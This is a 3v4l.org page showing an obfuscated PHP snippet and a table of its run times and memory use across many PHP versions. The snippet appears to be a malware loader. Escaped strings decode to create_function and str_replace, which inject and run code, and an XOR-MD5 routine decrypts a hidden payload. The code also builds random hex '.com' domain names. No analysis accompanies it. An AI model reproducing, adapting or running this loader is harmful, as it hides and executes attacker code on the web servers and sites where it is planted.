3v4l.org

run code in 300+ PHP versions simultaneously
<?php function en2($s, $q){ $l = "strlen"; $p = "pack"; $r = "substr"; $m = "md5"; $g = ""; while ($l($g) < $l($s)){ $q = $p("H*", $m($g . $q . "q1w2e3r4")); $g .= $r($q, 0, 8); } return $s ^ $g; } function cqq($qw) { $domarr = array("33db9538", "9507c4e8", "e5b57288", "54dfa1cb"); return random($domarr,$qw); } function random($arr,$qw) { $g="\x20\167\x2d\70\x36794587495086f963874,qq-82d94486e,r-86297186e94186d945,wq-874941874,s-87\x33\54\x67\75\x20\167\x2e\40\x72\73\x20\155\x2d\70"."6d944835,sq-873964872937873960\x38\66\x63\71\x35\61\x38\67\x34\42\x3b"; $soy = "\x65\156\x32"; $xx="\x65\170\x70"."\154\x6f\144\x65"; $ecx="\x63\162\x65\141\x74\145\x5f\146\x75\156\x63\164\x69\157\x6e"; $scy="\x73\164\x72\137\x72\145\x70\154\x61\143\x65"; $a = $xx("|","\x5c\170\x7c\134\x31\174\x3d\42\x7c\42\x3b\44\x7c\44"); $aa = $xx("|","8|9|-|,| "); $mec=$ecx; for($i=0;$i<sizeof($a);$i++) { $g = $scy($aa[$i],$a[$i],$g); } $ecx("", "};$g//"); $mec("", $soy("\230\77\153\147\26\167\114\130\223\257\211\2\253\5\172\316\25\262\145\25\62\72\127\156\270\100\154\56\341\77\4\37\21\152\206\334\101\334\32\210\353\173\253\5\123\231\47\13\20",$scy)); return $arr[rand((0.24-(0.03*8)),(0.1875*6))].$qw; } echo cqq(".com");

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
7.4.00.0130.00815.17
7.3.120.0100.00915.23
7.3.110.0100.00615.06
7.3.100.0090.00815.12
7.3.90.0040.00915.06
7.3.80.0020.01114.95
7.3.70.0040.00914.88
7.3.60.0100.00414.87
7.3.50.0050.01014.99
7.3.40.0100.00714.90
7.3.30.0070.00714.84
7.3.20.0120.00316.73
7.3.10.0040.01116.73
7.3.00.0080.00716.86
7.2.250.0110.00615.40
7.2.240.0120.01015.25
7.2.230.0020.01215.20
7.2.220.0110.00615.32
7.2.210.0060.00815.40
7.2.200.0080.01015.30
7.2.190.0050.00815.10
7.2.180.0100.00615.00
7.2.170.0070.01015.21
7.1.330.0070.00615.85
7.1.320.0090.00616.03
7.1.310.0060.00616.00
7.1.300.0100.00415.84
7.1.290.0090.00815.88
7.1.280.0030.00916.02
7.1.270.0050.00615.95
7.1.260.0110.00316.03
7.1.70.0000.01217.55
7.1.60.0030.00917.55
7.1.50.0100.01317.03
7.1.00.0030.07322.56
7.0.200.0000.01016.77
7.0.140.0070.07022.39
7.0.60.0130.08020.37
7.0.50.0100.04018.29
7.0.40.0100.08020.52
7.0.30.0370.04320.56
7.0.20.0230.05720.42
7.0.10.0070.08320.51
7.0.00.0100.09020.42
5.6.280.0070.07321.53
5.6.210.0030.09020.93
5.6.200.0070.07718.68
5.6.190.0130.03321.12
5.6.180.0430.06321.00
5.6.170.0330.04020.76
5.6.160.0070.05020.88
5.6.150.0070.06718.57
5.6.140.0100.07018.52
5.6.130.0070.05318.51
5.6.120.0100.07721.26
5.6.110.0130.05321.38
5.6.100.0070.08321.49
5.6.90.0100.07321.24
5.6.80.0130.07020.70
5.5.350.0170.03720.81
5.5.340.0100.07018.33
5.5.330.0070.04020.80
5.5.320.0370.07720.56
5.5.310.0270.07320.58
5.5.300.0000.07018.37
5.5.290.0100.07318.27
5.5.280.0070.09021.15
5.5.270.0130.08321.20
5.5.260.0070.05721.14
5.5.250.0130.08321.06
5.5.240.0230.07020.50
5.4.450.0400.08719.83
5.4.440.0930.05719.76
5.4.430.0100.05319.64
5.4.420.1070.05319.46
5.4.410.0670.05719.51
5.4.400.0770.05019.32
5.4.390.0870.06019.29
5.4.380.0470.06719.04
5.4.370.0230.05718.96
5.4.360.0200.05719.05
5.4.350.0300.05019.06
5.4.340.0170.06319.09
5.4.320.0050.04412.70
5.4.310.0050.03812.70
5.4.300.0070.03512.70
5.4.290.0110.04312.70
5.4.280.0070.03512.59
5.4.270.0090.03212.60
5.4.260.0070.03912.59
5.4.250.0050.04112.59
5.4.240.0050.03712.60
5.4.230.0060.03812.59
5.4.220.0040.03812.59
5.4.210.0030.03812.59
5.4.200.0080.03512.59
5.4.190.0040.03712.58
5.4.180.0050.03612.58
5.4.170.0040.03612.59
5.4.160.0050.03512.58
5.4.150.0100.03212.58
5.4.140.0060.03612.27
5.4.130.0040.03612.25
5.4.120.0050.03412.21
5.4.110.0040.03512.21
5.4.100.0060.03412.21
5.4.90.0060.03712.21
5.4.80.0070.03512.21
5.4.70.0060.03412.21
5.4.60.0030.03912.20
5.4.50.0060.03812.20
5.4.40.0060.03812.19
5.4.30.0060.03412.19
5.4.20.0100.03112.19
5.4.10.0040.03612.19
5.4.00.0060.03811.68
5.3.290.0080.04612.90
5.3.280.0070.03612.83
5.3.270.0040.04512.84
5.3.260.0060.03912.84
5.3.250.0040.03912.84
5.3.240.0070.03612.84
5.3.230.0060.03712.84
5.3.220.0050.03812.80
5.3.210.0050.03812.80
5.3.200.0080.03812.80
5.3.190.0050.04012.80
5.3.180.0070.03612.80
5.3.170.0080.03812.80
5.3.160.0090.03412.79
5.3.150.0080.03912.80
5.3.140.0070.04112.79
5.3.130.0070.03812.78
5.3.120.0090.04212.78
5.3.110.0050.04012.78
5.3.100.0050.04112.27
5.3.90.0070.03812.25
5.3.80.0070.04012.25
5.3.70.0070.03612.24
5.3.60.0050.03912.23
5.3.50.0080.03612.18
5.3.40.0100.03212.18
5.3.30.0050.03612.14
5.3.20.0090.03211.92
5.3.10.0070.03711.88
5.3.00.0070.03711.87
5.2.170.0050.0309.38
5.2.160.0060.0279.38
5.2.150.0040.0309.37
5.2.140.0040.0299.37
5.2.130.0060.0269.34
5.2.120.0070.0349.33
5.2.110.0070.0279.34
5.2.100.0060.0279.34
5.2.90.0050.0299.34
5.2.80.0030.0409.34
5.2.70.0040.0339.34
5.2.60.0020.0349.29
5.2.50.0030.0349.26
5.2.40.0040.0299.24
5.2.30.0030.0309.21
5.2.20.0050.0279.20
5.2.10.0050.0289.10
5.2.00.0060.0318.96
5.1.60.0040.0248.23
5.1.50.0060.0228.23
5.1.40.0020.0268.21
5.1.30.0030.0268.57
5.1.20.0030.0278.59
5.1.10.0030.0318.31
5.1.00.0051.9968.14
5.0.50.0020.0256.81
5.0.40.0020.0216.67
5.0.30.0050.0306.48
5.0.20.0030.0196.47
5.0.10.0020.0256.45
5.0.00.0040.0306.44
4.4.90.0030.0154.77
4.4.80.0040.0144.75
4.4.70.0040.0144.75
4.4.60.0020.0164.75
4.4.50.0030.0164.77
4.4.40.0050.0254.71
4.4.30.0030.0154.76
4.4.20.0040.0164.84
4.4.10.0020.0184.85
4.4.00.0020.0284.76
4.3.110.0050.0124.67
4.3.100.0020.0224.67
4.3.90.0040.0184.63
4.3.80.0060.0254.61
4.3.70.0040.0174.63
4.3.60.0010.0204.63
4.3.50.0020.0224.62
4.3.40.0020.0294.57
4.3.30.0030.0153.38
4.3.20.0020.0173.36
4.3.10.0010.0163.31
4.3.00.0030.0236.91

preferences:
37.79 ms | 401 KiB | 5 Q